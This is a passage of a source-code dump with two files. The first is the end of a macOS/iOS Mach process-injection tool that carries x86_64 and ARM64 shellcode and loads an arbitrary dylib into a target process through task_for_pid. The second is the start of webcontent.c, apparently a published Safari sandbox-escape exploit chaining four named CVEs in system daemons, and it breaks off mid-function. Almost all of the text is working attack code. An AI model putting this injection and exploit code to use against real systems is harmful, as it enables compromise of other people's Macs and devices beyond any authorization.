56 | // excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was
57 | // created to inject code in PPC and i386. Since I couldn't find anything
58 | // for x86_64 or ARM, I ended up writing my own tool.
59 |
60 | // Since, this tool has exploded in functionality - with many other features,
61 | // including scriptable debugging, fault injection, function hooking, code
62 | // decryption, and what not - which comes in *really* handy on iOS.
63 | //
64 | // coreruption is still closed source, due its highly.. uhm.. useful
65 | // nature. But I'm making this sample free, and I have fully annotated this.
66 | // The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more
67 | // to come in the 2nd Ed (..in time for iOS 9 :-)
68 | //
69 | // Go forth and spread your code :-)
70 | //
71 | // J (info@newosxbook.com) 02/05/2014
72 | //
73 | // v2: With ARM64 - 06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!
74 | // Get the full bundle at - http://NewOSXBook.com/files/injarm64.tar
75 | // with sample dylib and with script to compile this neatly.
76 | //
77 | //**********************************************************************
78 | // Note ARM code IS messy, and I left the addresses wide apart. That's
79 | // intentional. Basic ARM64 assembly will enable you to tidy this up and
80 | // make the code more compact.
81 | //
82 | // This is *not* meant to be neat - I'm just preparing this for TG's
83 | // upcoming OS X/iOS RE course (http://technologeeks.com/OSXRE) and thought
84 | // this would be interesting to share. See you all in MOXiI 2nd Ed!
85 | //**********************************************************************
86 |
87 |
88 | // This sample code calls pthread_set_self to promote the injected thread
89 | // to a pthread first - otherwise dlopen and many other calls (which rely
90 | // on pthread_self()) will crash.
91 | // It then calls dlopen() to load the library specified - which will trigger
92 | // the library's constructor (q.e.d as far as code injection is concerned)
93 | // and sleep for a long time. You can of course replace the sleep with
94 | // another function, such as pthread_exit(), etc.
95 | //
96 | // (For the constructor, use:
97 | //
98 | // static void whicheverfunc() __attribute__((constructor));
99 | //
100 | // in the library you inject)
101 | //
102 | // Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___".
103 | // Reason being, that the above are merely placeholders which will be patched with
104 | // the runtime addresses when code is actually injected.
105 | //
106 | char injectedCode[] =
107 | #ifdef X86_64
108 | /*"\xcc" // int3*/
109 |
110 | "\x55" // pushq %rbp
111 | "\x48\x89\xe5" // movq %rsp, %rbp
112 |
113 | "\x48\x83\xec\x20" // subq $32, %rsp
114 | "\x89\x7d\xfc" // movl %edi, -4(%rbp)
115 | "\x48\x89\x75\xf0" // movq %rsi, -16(%rbp)
116 | "\xb0\x00" // movb $0, %al
117 | // call pthread_set_self
118 | "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $0, %rdi
119 | "\x48\xb8" "_PTHRDSS" // movabsq $140735540045793, %rax
120 | "\xff\xd0" // callq *%rax
121 | "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $0, %rsi
122 | "\x48\x8d\x3d\x3b\x00\x00\x00" // leaq 59(%rip), %rdi
123 | // DLOpen...
124 | "\x48\xb8" "DLOPEN__" // movabsq $140735516395848, %rax
125 | "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" // movabsq $0, %rsi
126 | "\xff\xd0" // callq *%rax
127 | // DLClose...
128 | "\x48\x89\xc7" // movq %rax, %rdi
129 | "\x48\xb8" "DLCLOSE_" // movabsq $140735516395848, %rax
130 | "\xff\xd0" // callq *%rax
131 | // Sleep(1000000)...
132 | "\x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00" // movabsq $10000000000, %rdi
133 | "\x48\xb8" "SLEEP___" // movabsq $140735516630165, %rax
134 | "\xff\xd0" // callq *%rax
135 |
136 | // plenty of space for a full path name here
137 | "LIBLIBLIBLIB" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
138 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
139 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
140 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
141 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
142 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
143 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
144 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
145 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
146 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
147 | ;
148 |
149 | #else
150 |
151 | #error "ARM????"
152 | // That's the ARM64 "shellcode"
153 | "\x08\x03\x00\x58" // LDR X8, #3 ; load PTHREADSS
154 | "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_set_self
155 |
156 | "\x00\x01\x00\x10" // ADR X0, #32
157 | "\x00\x40\x01\x91" // ADD x0, x0, #0x50 ; X0 => "LIBLIBLIB...";
158 | "\x08\x03\x00\x58" // LDR X8, #3 ; load DLOPEN
159 | "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
160 | "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
161 | // dlopen("LIBLIBLIB", 0);
162 | "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
163 | "\xa8\x00\x00\x58" // LDR X8, #12 ; load PTHREADEXT
164 | "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
165 | "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
166 | "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
167 | "XXXX"
168 | "PTHRDEXT" // <-
169 | "AAAA"
170 | "BCDEFGHI"
171 | "JKLMNOPR"
172 | "STUVWXYZ"
173 | "!!!!!!!!"
174 | "_PTHRDSS" // <-
175 | "PTHRDEXT" //
176 | "DLOPEN__" // <-
177 | "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
178 | "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
179 | "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
180 | "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
181 | "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
182 | "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
183 |
184 | #endif
185 |
186 | int inject(pid_t pid, const char *lib) {
187 |
188 | task_t remoteTask;
189 |
190 | struct stat buf;
191 |
192 | /**
193 | * First, check we have the library. Otherwise, we won't be able to inject..
194 | */
195 |
196 | int rc = stat (lib, &buf);
197 |
198 | if (rc != 0)
199 | {
200 | fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
201 | //return (-9);
202 | }
203 |
204 | mach_error_t kr = 0;
205 |
206 | /**
207 | * Second - the critical part - we need task_for_pid in order to get the task port of the target
208 | * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
209 | * #$%#$%.
210 | *
211 | * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past
212 | * taskgated, but root access suffices for that.
213 | *
214 | */
215 | kr = task_for_pid(mach_task_self(), pid, &remoteTask);
216 | if (kr != KERN_SUCCESS) {
217 |
218 | fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n",pid, mach_error_string(kr));
219 | return (-1);
220 | }
221 |
222 |
223 |
224 |
225 |
226 |
227 | /**
228 | * From here on, it's pretty much straightforward -
229 | * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.
230 | * So, first, stack:
231 | */
232 | mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
233 | mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
234 | kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
235 |
236 | if (kr != KERN_SUCCESS)
237 | {
238 | fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
239 | return (-2);
240 | }
241 | else
242 | {
243 |
244 | fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
245 |
246 | }
247 | /**
248 | * Then we allocate the memory for the thread
249 | */
250 | remoteCode64 = (vm_address_t) NULL;
251 | kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
252 |
253 | if (kr != KERN_SUCCESS)
254 | {
255 | fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
256 | return (-2);
257 | }
258 |
259 |
260 |
261 | /**
262 | * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders
263 | *
264 | * Since we use the same shared library cache as our victim, meaning we can use memory addresses from
265 | * OUR address space when we inject..
266 | */
267 |
268 | int i = 0;
269 | char *possiblePatchLocation = (injectedCode );
270 | for (i = 0 ; i < sizeof(injectedCode); i++)
271 | {
272 |
273 | // Patching is crude, but works.
274 | //
275 | extern void *_pthread_set_self;
276 | possiblePatchLocation++;
277 |
278 |
279 | uint64_t addrOfPthreadSetSelf = dlsym ( RTLD_DEFAULT, "_pthread_set_self"); //(uint64_t) _pthread_set_self;
280 | uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) _pthread_set_self;
281 | uint64_t addrOfDlopen = (uint64_t) dlopen;
282 | uint64_t addrOfDlclose = (uint64_t) dlclose;
283 | uint64_t addrOfSleep = (uint64_t) sleep; // pthread_exit;
284 |
285 | if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
286 | {
287 | memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
288 |
289 | printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
290 | }
291 |
292 | if (memcmp (possiblePatchLocation, "_PTHRDSS", 8) == 0)
293 | {
294 | memcpy(possiblePatchLocation, &addrOfPthreadSetSelf,8);
295 |
296 | printf ("Pthread set self @%llx\n", addrOfPthreadSetSelf);
297 | }
298 |
299 | if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
300 | {
301 | printf ("DLOpen @%llx\n", addrOfDlopen);
302 | memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
303 |
304 | }
305 |
306 | if (memcmp(possiblePatchLocation, "DLCLOSE_", 8) == 0)
307 | {
308 | printf ("DLClose @%llx\n", addrOfDlclose);
309 | memcpy(possiblePatchLocation, &addrOfDlclose, sizeof(uint64_t));
310 |
311 | }
312 |
313 | if (memcmp(possiblePatchLocation, "SLEEP___", 6) == 0)
314 | {
315 | printf ("Sleep @%llx\n", addrOfSleep);
316 | memcpy(possiblePatchLocation, &addrOfSleep, sizeof(uint64_t));
317 |
318 | }
319 |
320 | if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
321 | {
322 |
323 | strcpy(possiblePatchLocation, lib );
324 |
325 | }
326 |
327 |
328 |
329 |
330 |
331 | }
332 |
333 | /**
334 | * Write the (now patched) code
335 | */
336 | kr = mach_vm_write(remoteTask, // Task port
337 | remoteCode64, // Virtual Address (Destination)
338 | (vm_address_t) injectedCode, // Source
339 | sizeof(injectedCode)); // Length of the source
340 |
341 |
342 |
343 | if (kr != KERN_SUCCESS)
344 | {
345 | fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
346 | return (-3);
347 | }
348 |
349 |
350 | /*
351 | * Mark code as executable - This also requires a workaround on iOS, btw.
352 | */
353 |
354 | kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
355 |
356 | /*
357 | * Mark stack as writable - not really necessary
358 | */
359 |
360 | kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
361 |
362 |
363 | if (kr != KERN_SUCCESS)
364 | {
365 | fprintf(stderr,"Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
366 | return (-4);
367 | }
368 |
369 |
370 | /**
371 | *
372 | * Create thread - This is obviously hardware specific.
373 | *
374 | */
375 |
376 | #ifdef X86_64
377 | x86_thread_state64_t remoteThreadState64;
378 | #else
379 | // Using unified thread state for backporting to ARMv7, if anyone's interested..
380 | struct arm_unified_thread_state remoteThreadState64;
381 | #endif
382 | thread_act_t remoteThread;
383 |
384 | memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
385 |
386 | remoteStack64 += (STACK_SIZE / 2); // this is the real stack
387 | remoteStack64 -= 8; // need alignment of 16
388 |
389 | const char* p = (const char*) remoteCode64;
390 | #ifdef X86_64
391 | remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
392 |
393 | // set remote Stack Pointer
394 | remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
395 | remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
396 | #else
397 |
398 | // Note the similarity - all we change are a couple of regs.
399 | remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
400 | remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
401 | remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
402 | remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
403 | // __uint64_t __x[29]; /* General purpose registers x0-x28 */
404 | #endif
405 |
406 | printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
407 |
408 | /*
409 | * create thread and launch it in one go
410 | */
411 | #ifdef X86_64
412 | kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
413 | (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
414 | #else // __arm64__
415 | kr = thread_create_running( remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
416 | (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
417 |
418 | #endif
419 |
420 | if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
421 | return (-3); }
422 |
423 | return (0);
424 |
425 | } // end injection code
426 |
427 |
428 |
429 | int main(int argc, const char * argv[])
430 | {
431 | if (argc < 3)
432 | {
433 | fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
434 | fprintf (stderr, " _action_: path to a dylib on disk\n");
435 | exit(0);
436 | }
437 |
438 | pid_t pid = atoi(argv[1]);
439 | const char *action = argv[2];
440 | struct stat buf;
441 |
442 | int rc = stat (action, &buf);
443 | if (rc == 0) inject(pid,action);
444 | else
445 | {
446 | fprintf(stderr,"Dylib not found\n");
447 | exit(1);
448 | }
449 | }
450 |
451 | #if 0
452 |
453 |
454 | tatic void con() __attribute__((constructor));
455 |
456 | void con() {
457 |
458 | printf("I'm a constructor\n");
459 |
460 | }
461 |
462 | #endif
463 |
--------------------------------------------------------------------------------
/webcontent.c:
--------------------------------------------------------------------------------
1 | // Exploit using following bugs to escape Safari sandbox:
2 | //
3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
4 | // * CVE-2017-2535: PID reuse logic bug in authd
5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
7 | //
8 | // by phoenhex team (niklasb & saelo)
9 | //
10 | // see LICENSE
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 |
30 | #include
31 | #include
32 | #include
33 | #include
34 |
35 | #include "ssd1.dylib.gen.h"
36 | #include "ssd2.dylib.gen.h"
37 | #include "bundle/Info.plist.gen.h"
38 | #include "bundle/version.plist.gen.h"
39 |
40 | char workdir[1024];
41 |
42 | #define SYNTH "Pwn.SpeechSynthesizer"
43 | #define DISK "/dev/disk0s1"
44 |
45 | #include "common.h"
46 | #include "proc.h"
47 | #include "DAServer.h"
48 |
49 | pid_t token_pid;
50 | AuthorizationRef auth;
51 | AuthorizationExternalForm token;
52 |
53 | void patch_payload(char* payload, size_t payload_size) {
54 | const char* pattern = "pwnedbysaeloandniklasb";
55 | char* end = payload + payload_size - strlen(pattern), *p = payload;
56 | while (p != end) {
57 | if (!strcmp(p, pattern)) {
58 | log("Patching payload at offset %d\n", p - payload);
59 | strcpy(p, workdir);
60 | p += strlen(pattern);
61 | }
62 | ++p;
63 | }
64 | }
65 |
66 | void create_bundle(unsigned char* payload, size_t payload_size) {
67 | patch_payload((char*)payload, payload_size);
68 | mkdir(SYNTH, 0777);
69 | mkdir(SYNTH "/Contents", 0777);
70 | mkdir(SYNTH "/Contents/MacOS", 0777);
71 | write_file(SYNTH "/Contents/Info.plist", bundle_Info_plist, bundle_Info_plist_len);
72 | write_file(SYNTH "/Contents/version.plist", bundle_version_plist, bundle_version_plist_len);
73 | write_file(SYNTH "/Contents/MacOS/MacinTalk", payload, payload_size);
74 | }
75 |
76 | void pwn_ssd(bool sync) {
77 | xpc_connection_t conn = xpc_connection_create_mach_service(
78 | "com.apple.speech.speechsynthesisd", 0, 0);
79 | assert(conn);
80 | xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
81 | });
82 | xpc_connection_resume(conn);
83 | log(" Connected to ssd\n");
84 |
85 | xpc_object_t message = xpc_dictionary_create(0, 0, 0);
86 | xpc_dictionary_set_int64(message, "msg", 110);
87 | char path[1024]={0};
88 | strcpy(path, workdir);
89 | strcat(path, "/");
90 | strcat(path, SYNTH);
91 | xpc_dictionary_set_string(message, "path", path);
92 |
93 | if (sync) {
94 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
95 | } else {
96 | dispatch_queue_t q = dispatch_get_main_queue();
97 | xpc_connection_send_message_with_reply(conn, message, q, ^(xpc_object_t evt) {
98 | });
99 | }
100 | }
101 |
102 | xpc_connection_t connect_to_cookied() {
103 | xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cookied", 0, 0);
104 | assert(conn);
105 | xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
106 | });
107 | xpc_connection_resume(conn);
108 | //log(" Connected to cookied.\n");
109 |
110 | const char *session = "foobar";
111 | xpc_object_t message = xpc_dictionary_create(0, 0, 0);
112 | xpc_dictionary_set_int64(message, "kCFNCookieServerMessageTypeKey", 1);
113 | xpc_dictionary_set_bool(message, "kCFNCookieServerPersistentKey", 1);
114 | xpc_dictionary_set_string(message, "kCFNCookieServerIdentifierKey", session);
115 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
116 | assert(reply);
117 | assert(xpc_dictionary_get_bool(reply, "kCFNCookieServerSuccessKey"));
118 |
119 | return conn;
120 | }
121 |
122 | void crash_cookied() {
123 | xpc_connection_t conn = connect_to_cookied();
124 | log(" Connected to cookied. Trying to crash it...\n");
125 |
126 | // TODO instead of waiting for response, just wait for process to get started
127 | xpc_object_t message = xpc_dictionary_create(0, 0, 0);
128 | xpc_dictionary_set_int64(message, "kCFNCookieServerMessageTypeKey", 4);
129 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, message);
130 | assert(reply);
131 | }
132 |
133 | void respawn_cookied() {
134 | crash_cookied();
135 | connect_to_cookied();
136 | }
137 |
138 | struct DASession {
139 | mach_port_t server_port, session_port;
140 | } dasess;
141 |
142 | void da_connect() {
143 | kern_return_t kr;
144 | kr = bootstrap_look_up(bootstrap_port,
145 | "com.apple.DiskArbitration.diskarbitrationd", &dasess.server_port);
146 | if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
147 | assert(kr == KERN_SUCCESS);
148 |
149 | kr = _DAServerSessionCreate(dasess.server_port, "foo", 0, &dasess.session_port);
150 | if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
151 | assert(kr == KERN_SUCCESS);
152 | }
153 |
154 | void da_auth() {
155 | kern_return_t kr;
156 | kr = _DAServerSessionSetAuthorization(dasess.session_port, token);
157 | if (kr != KERN_SUCCESS) log("MIG error: %s\n", bootstrap_strerror(kr));
158 | assert(kr == KERN_SUCCESS);
159 | }
160 |
161 | extern CFIndex __CFBinaryPlistWriteToStream( CFPropertyListRef plist, CFTypeRef stream );
162 | CFDataRef da_serialize(CFTypeRef obj) {
163 | CFDataRef data = CFDataCreateMutable(0, 0);
164 | assert(data);
165 | assert(__CFBinaryPlistWriteToStream(obj, data));
166 | return data;
167 | }
168 |
169 | bool da_mount(const char* disk, const char* mount_point) {
170 | kern_return_t kr;
171 |
172 | CFStringRef mp = CFStringCreateWithCString(0, mount_point, 0x8000100);
173 | assert(mp);
174 | CFDataRef mp_ser = da_serialize(mp);
175 | assert(mp_ser);
176 |
177 | kr = _DAServerSessionQueueRequest(
178 | dasess.session_port,
179 | 7, // kind = _kDADiskMount
180 | // arg0
181 | (char*)disk,
182 | // arg1
183 | 0,
184 | // arg2
185 | (vm_address_t)CFDataGetBytePtr(mp_ser), CFDataGetLength(mp_ser),
186 | // arg3
187 | 0, 0,
188 | // address, context
189 | 0, 0
190 | );
191 |
192 | if (kr != KERN_SUCCESS)
193 | log("MIG error: %d %s\n", kr, bootstrap_strerror(kr));
194 | return kr == KERN_SUCCESS;
195 | }
196 |
197 | bool da_umount(const char* disk) {
198 | kern_return_t kr;
199 |
200 | kr = _DAServerSessionQueueRequest(
201 | dasess.session_port,
202 | 13, // kind = _kDADiskUnmount
203 | // arg0
204 | (char*)disk,
205 | // arg1
206 | 0,
207 | // arg2
208 | 0, 0,
209 | // arg3
210 | 0, 0,
211 | // address, context
212 | 0, 0
213 | );
214 |
215 | if (kr != KERN_SUCCESS)
216 | log("MIG error: %d %s\n", kr, bootstrap_strerror(kr));
217 | return kr == KERN_SUCCESS;
218 | }
219 |
220 | const char* get_mount_point(const char* disk) {
221 | struct statfs *mntbuf;
222 | int cnt = getmntinfo(&mntbuf, 0);
223 | for (int i = 0; i < cnt; ++i)
224 | if (!strcmp(mntbuf[i].f_mntfromname, disk))
225 | return mntbuf[i].f_mntonname;
226 | return 0;
227 | }
228 |
229 | void setup_mount_race() {
230 | mkdir("mnt", 0777);
231 | }
232 |
233 | int cmp_procs_by_pid(const void* av, const void* bv) {
234 | const struct kinfo_proc* a = av;
235 | const struct kinfo_proc* b = bv;
236 | pid_t ap = a->kp_proc.p_pid;
237 | pid_t bp = b->kp_proc.p_pid;
238 | if (ap < bp) return -1;
239 | if (ap == bp) return 0;
240 | return 1;
241 | }
242 |
243 | void print_process_list() {
244 | get_process_list();
245 | qsort(proc_list.procList, proc_list.procCount, sizeof *proc_list.procList, cmp_procs_by_pid);
246 | for (size_t i = 0; i < proc_list.procCount; ++i) {
247 | struct kinfo_proc* proc = proc_list.procList + i;
248 | pid_t pid = proc->kp_proc.p_pid;
249 | log(" Proc %d: uid=%d cmd=%s\n",
250 | pid, proc->kp_eproc.e_ucred.cr_uid,
251 | proc->kp_proc.p_comm);
252 | }
253 | }
254 |
255 | bool is_cookied(struct kinfo_proc* proc) {
256 | return !strcmp("nsurlstoraged", proc->kp_proc.p_comm)
257 | && proc->kp_eproc.e_ucred.cr_uid == 501;
258 | }
259 |
260 | bool respawn_cookied_into(pid_t target) {
261 | for(int iter = 0; iter < 15; ++iter) {
262 | log("Iteration %d\n", iter);
263 | respawn_cookied();
264 | get_process_list();
265 | // TODO debugging loop, maybe remove
266 | qsort(proc_list.procList, proc_list.procCount, sizeof *proc_list.procList, cmp_procs_by_pid);
267 | for (size_t i = 0; i < proc_list.procCount; ++i) {
268 | struct kinfo_proc* proc = proc_list.procList + i;
269 | pid_t pid = proc->kp_proc.p_pid;
270 | if (abs(pid - target) < 10 || is_cookied(proc))
271 | log(" Proc %d: uid=%d cmd=%s\n",
272 | pid, proc->kp_eproc.e_ucred.cr_uid,
273 | proc->kp_proc.p_comm);
274 | }
275 | for (size_t i = 0; i < proc_list.procCount; ++i) {
276 | struct kinfo_proc* proc = proc_list.procList + i;
277 | pid_t pid = proc->kp_proc.p_pid;
278 | if (pid == target) {
279 | if (is_cookied(proc)) {
280 | log(" Successfully spawned nsurlstoraged with PID %d\n", target);
281 | return true;
282 | } else {
283 | log(" Got invalid process %s at %d\n", proc->kp_proc.p_comm, target);
284 | return false;
285 | }
286 | }
287 | if (is_cookied(proc) && pid > target) {
288 | log(" Skipped past target pid %d\n", target);
289 | return false;
290 | }
291 | }
292 | }
293 | log(" Never saw PID %d begin reused\n", target);
294 | return false;
295 | }
296 |
297 | void delete_recursive(const char* path) {
298 | DIR* d = opendir(path);
299 | struct dirent* entry;
300 |
301 | if (!strcmp(path + strlen(path) - 3, "mnt")) {
302 | log(" Refusing to delete %s recursively\n", path);
303 | return;
304 | }
305 | log(" Cleaning up %s\n", path);
306 | while ((entry = readdir(d))) {
307 | if (!strcmp(entry->d_name, ".")||!strcmp(entry->d_name, "..")) continue;
308 | //log(" %s %d\n", entry->d_name, (int)entry->d_type);
309 |
310 | char entry_path[1024];
311 | strcpy(entry_path, path);
312 | strcat(entry_path, "/");
313 | strcat(entry_path, entry->d_name);
314 | if (entry->d_type == 4) {
315 | delete_recursive(entry_path);
316 | if (rmdir(entry_path)) {
317 | log(" Could not rmdir %s\n", entry_path);
318 | }
319 | } else {
320 | if (unlink(entry_path)) {
321 | log(" Could not unlink %s\n", entry_path);
322 | }
323 | }
324 | }
325 | }
326 |
327 | void unmap_large_safari_heap_pages() {
328 | // code adapted from http://www.newosxbook.com/src.jl?tree=listings&file=12-1-vmmap.c
329 | kern_return_t kret;
330 | mach_vm_address_t prev_address;
331 | vm_region_basic_info_data_t info;
332 | mach_vm_size_t size, prev_size;
333 |
334 | mach_port_t object_name;
335 | mach_msg_type_number_t count;
336 |
337 | //log("Memory map\n=============\n");
338 | for (mach_vm_address_t address = 1;; address += size) {
339 | /* Check to see if address space has wrapped around. */
340 | if (address == 0) break;
341 |
342 | // Even on iOS, we use VM_REGION_BASIC_INFO_COUNT_64. This works.
343 | count = VM_REGION_BASIC_INFO_COUNT_64;
344 | kret = mach_vm_region(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO,
345 | (vm_region_info_t) &info, &count, &object_name);
346 | if (kret != KERN_SUCCESS) {
347 | assert(kret == KERN_INVALID_ADDRESS);
348 | break;
349 | }
350 |
351 | // TODO remove debug output
352 | unsigned long long print_size = size;
353 | char *print_size_unit;
354 | if (print_size > 1024) { print_size /= 1024; print_size_unit = "K"; }
355 | if (print_size > 1024) { print_size /= 1024; print_size_unit = "M"; }
356 | if (print_size > 1024) { print_size /= 1024; print_size_unit = "G"; }
357 | /*
358 | log(" %016llx-%016llx [%lld%s]\n",
359 | address,
360 | (address + size),
361 | print_size,
362 | print_size_unit);
363 | */
364 |
365 | unsigned long long addr = address;
366 | if ((addr >> 32) >= 0x02 && (addr >> 32) <= 0x20) {
367 | assert(!munmap(address, size));
368 | }
369 | }
370 | //log("=============\n");
371 | }
372 |
373 | void sigsegv_handler(int sig, siginfo_t *si, void *unused) {
374 | sleep(1000);
375 | }
376 |
377 | void register_sigsegv_handler() {
378 | struct sigaction sa;
379 | sa.sa_flags = SA_SIGINFO;
380 | sigemptyset(&sa.sa_mask);
381 | sa.sa_sigaction = sigsegv_handler;
382 | if (sigaction(SIGSEGV, &sa, NULL) == -1)
383 | if (debug_mode)
384 | abort(); // TODO if (debug_mode)
385 | if (sigaction(SIGBUS, &sa, NULL) == -1)
386 | if (debug_mode)
387 | abort(); // TODO if (debug_mode)
388 | if (sigaction(SIGILL, &sa, NULL) == -1)
389 | if (debug_mode)
390 | abort(); // TODO if (debug_mode)
391 | if (sigaction(SIGTRAP, &sa, NULL) == -1)
392 | if (debug_mode)
393 | abort(); // TODO if (debug_mode)
394 | }
395 |
396 | __attribute__((constructor))
397 | void _injection() {
398 | register_sigsegv_handler();
399 |
400 | confstr(_CS_DARWIN_USER_CACHE_DIR, workdir, sizeof workdir);
401 | mkdir(workdir, 0777);
402 | if (workdir[strlen(workdir)-1] != '/')
403 | strcat(workdir, "/");
404 | strcat(workdir, "com.apple.speech.speechsynthesisd/");
405 | mkdir(workdir, 0777);
406 | chdir(workdir);
407 |
408 | init("webcontent");
409 |
410 | char buf[1024];
411 | log("Workdir is %s\n", getcwd(buf, sizeof buf));
412 |
413 | log("Cleaning up memory\n");
414 | unmap_large_safari_heap_pages();
415 |
416 | assert(!get_mount_point(DISK));
417 |
418 | for (int iter = 0; ; ++iter) {
419 | log("Iteration %d of PID wraparound\n", iter);
420 | log("==============================\n");
421 | log("Cleaning up working dir\n");
422 | delete_recursive(".");
423 |
424 | create_bundle(ssd1_dylib, ssd1_dylib_len);
425 | log("Created bundle (1)\n");
426 |
427 | // TODO reset ssd so the following always works
428 | pwn_ssd(0);
429 | log("Pwned ssd (1)\n");
430 |
431 | // TODO remove debugging
432 | while(!pid_for_proc("com.apple.s")) msleep(100);
433 | log("PID for ssd1 = %d\n", pid_for_proc("com.apple.s"));
434 |
435 | log("Waiting for ssd1 results...\n");
436 | int f1 = wait_for_file("token_pid");
437 | int f2 = wait_for_file("token");
438 |
